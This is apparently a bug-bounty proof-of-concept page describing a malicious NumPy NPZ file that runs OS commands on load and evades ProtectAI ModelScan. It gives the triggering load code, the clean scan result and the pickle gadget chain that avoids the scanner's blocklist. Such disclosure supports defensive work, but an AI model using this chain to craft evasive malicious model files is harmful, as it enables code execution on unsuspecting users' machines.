NPZ ACE Scanner Bypass PoC
Huntr Bug Bounty — Model File Formats (NPZ / ProtectAI ModelScan)
bypass_v5.npz is a 391-byte malicious NumPy NPZ file that:
- Executes arbitrary OS commands via np.load(allow_pickle=True)
- Passes ProtectAI ModelScan v0.8.8 NumpyUnsafeOpScan with zero detections (total_issues: 0, exit 0)
Reproduce
import numpy as np
data = np.load('bypass_v5.npz', allow_pickle=True)
_ = data['payload'] # ACE fires here
Scanner Bypass
modelscan scan -p bypass_v5.npz -r json
# {"total_issues": 0, "issues": []} exit 0
Technique
importlib.import_module -> builtins.vars -> operator.getitem -> os.system
None of these GLOBAL references appear on ModelScan's NumpyUnsafeOpScan blocklist.
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support